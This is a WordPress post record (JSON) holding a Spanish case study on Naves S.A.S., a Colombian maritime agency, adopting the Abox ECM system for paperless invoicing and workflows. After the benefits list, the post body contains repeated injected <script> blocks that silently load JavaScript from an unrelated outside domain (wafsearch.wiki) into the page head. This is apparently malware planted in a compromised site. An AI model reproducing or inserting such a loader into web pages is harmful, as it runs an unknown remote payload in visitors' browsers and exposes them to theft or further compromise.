{"id":2927,"date":"2017-01-06T18:12:33","date_gmt":"2017-01-06T23:12:33","guid":{"rendered":"https:\/\/149.56.148.186\/?p=2228"},"modified":"2026-03-20T04:10:35","modified_gmt":"2026-03-20T09:10:35","slug":"gestion-de-expedientes-electronicos-en-naves-de-colombia","status":"publish","type":"post","link":"https:\/\/www.adapting.com\/en\/gestion-de-expedientes-electronicos-en-naves-de-colombia\/","title":{"rendered":"Gesti\u00f3n de expedientes electr\u00f3nicos en Naves de Colombia"},"content":{"rendered":"<h3>La Organizaci\u00f3n<\/h3>\n<p><strong>Naves S.A.S.<\/strong> fue fundada en 1986 y desde su creaci\u00f3n ha estado vinculada al negocio de Agenciamiento Mar\u00edtimo. Desde entonces sus servicios se han centrado en asistir a los barcos ch\u00e1rter, servicios regulares de l\u00ednea y tanqueros a nivel nacional. Desde 2007 pertenece al grupo naviero chileno <strong>Ultramar<\/strong>, el m\u00e1s grande el Latinoam\u00e9rica.<\/p>\n<p><a href=\"https:\/\/www.adapting.com\/index.php\/gestion-de-expedientes-electronicos-en-naves-de-colombia\/agenciamiento-maritimo\/\" rel=\"attachment wp-att-2230\"><img loading=\"lazy\" class=\"aligncenter size-full wp-image-2230\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2017\/01\/agenciamiento-maritimo.jpg\" alt=\"agenciamiento-maritimo\" width=\"450\" height=\"350\" \/><\/a><\/p>\n<p>En Colombia cuenta con una plantilla de 350 trabajadores en las divisiones de Agenciamiento Mar\u00edtimo, Representaciones de L\u00edneas, Negocio Log\u00edstico (warehousing, freight forwarding, transporte terrestre, servicios de tracking y expediting), Proyectos Oil &amp; Gas Onshore y Offshore y Globaldesk.<\/p>\n<p>La oficina principal del Grupo Empresarial Naves se encuentra ubicada en Bogot\u00e1 y tiene oficinas en los principales puertos del pa\u00eds (Barranquilla, Buenaventura, Cartagena, Cove\u00f1as, Santa Marta, y Puerto Bol\u00edvar, y oficinas de apoyo en Cali y Medell\u00edn).<\/p>\n<h3>Objetivos<\/h3>\n<ul>\n<li>La mejora de procesos de agenciamiento y pago a proveedores en los que exist\u00edan ineficiencias debido al manejo de papel, el acceso ineficiente a la documentaci\u00f3n y el dif\u00edcil control y optimizaci\u00f3n de los procesos.<\/li>\n<li>La creaci\u00f3n de una <strong>Ventanilla \u00danica <\/strong>para la recepci\u00f3n de facturas y cuentas de cobro en los puertos.<\/li>\n<\/ul>\n<h3>Los resultados&#8230;<\/h3>\n<p><strong>Abox ECM<\/strong> ha contribuido a hacer realidad la Oficina Cero Papel y de este modo mejorar la eficiencia y satisfacci\u00f3n de los clientes, tanto internos como externos.<\/p>\n<p>Con m\u00e1s de 70 usuarios activos y 200 usuarios de consulta, esta herramienta de gesti\u00f3n documental profesional ha logrado implantar las siguientes funcionalidades:<\/p>\n<ol>\n<li><strong> La sistematizaci\u00f3n en el software<\/strong> y optimizaci\u00f3n de una serie de <strong>workflows cr\u00edticos<\/strong> (agenciamiento, facturaci\u00f3n y compras) en los que se generaba demasiado papel y donde el establecimiento de cauces electr\u00f3nicos y normalizados est\u00e1n aportando una mejora de los procedimientos, un ahorro de costes y una mejor atenci\u00f3n a los usuarios internos y clientes.<\/li>\n<li><strong> Un<\/strong> <strong>sistema de alertas y control de plazos<\/strong> basado en tareas pendientes, que permite notificar por correo electr\u00f3nico a los interesados de la llegada de facturas, as\u00ed como de posibles plazos l\u00edmite de respuesta.<\/li>\n<li>Una <strong>serie de<\/strong> <strong>indicadores<\/strong> para conocer el n\u00famero de documentos recibidos y tramitados, los tiempos de cada subproceso y los plazos de entrega de los documentos a sus destinatarios.<\/li>\n<\/ol>\n<p><a href=\"https:\/\/www.adapting.com\/index.php\/gestion-de-expedientes-electronicos-en-naves-de-colombia\/mejora_de_procesos\/\" rel=\"attachment wp-att-2235\"><img loading=\"lazy\" class=\"aligncenter wp-image-2235 size-medium\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2017\/01\/mejora_de_procesos-300x225.jpg\" alt=\"mejora_de_procesos\" width=\"300\" height=\"225\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<h3>Los Beneficios\u2026.<\/h3>\n<p><a href=\"https:\/\/www.adapting.com\/index.php\/gestion-de-expedientes-electronicos-en-naves-de-colombia\/optimizacion-procesos\/\" rel=\"attachment wp-att-2233\"><img loading=\"lazy\" class=\"alignright wp-image-2233 size-thumbnail\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2017\/01\/optimizacion-procesos-150x150.jpg\" alt=\"optimizacion-procesos\" width=\"150\" height=\"150\" \/><\/a>Los nuevos flujos de trabajo han mejorado el control de calidad del Departamento Financiero de Naves, han reducido de manera considerable el uso del papel en la compa\u00f1\u00eda y han generado ahorros en costes derivados del manejo del papel y la supervisi\u00f3n de los procesos.<\/p>\n<p>Algunas de las <strong>deficiencias detectadas y corregidas<\/strong> provocaban ineficiencias, \u201cislas\u201d de informaci\u00f3n, desconexi\u00f3n entre dependencias y falta de control.<\/p>\n<ol>\n<li>Ahora se centraliza la recepci\u00f3n de facturas en un solo punto, desde donde se distribuyen a las diferentes \u00e1reas responsables.<\/li>\n<li>Se entregaban documentos f\u00edsicamente, cuando ahora la entrega se realiza electr\u00f3nicamente.<\/li>\n<li>Se estaba asumiendo un gasto excesivo en papel, mensajer\u00eda, fotocopias, fax e impresora.<\/li>\n<li>No era posible o demasiado dificultoso conocer la situaci\u00f3n de los distintos expedientes de compra o agenciamiento en tr\u00e1mite dentro de un \u00e1rea espec\u00edfica y conocer los tiempos medios en los que se est\u00e1n tramitando.<\/li>\n<li>La consulta de documentos y la obtenci\u00f3n de soportes y comprobantes era demasiado lenta y consum\u00eda muchos recursos internos, que se dedicaron a tareas m\u00e1s productivas.<\/li>\n<li>Se invert\u00edan excesivos recursos (humanos y t\u00e9cnicos) en mantener un archivo f\u00edsico que con las nuevas tecnolog\u00edas se redujo de forma sustancial, evitando el riesgo de p\u00e9rdida de soportes y\/o respuestas fuera de plazos.<\/li>\n<\/ol>\n<p><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = 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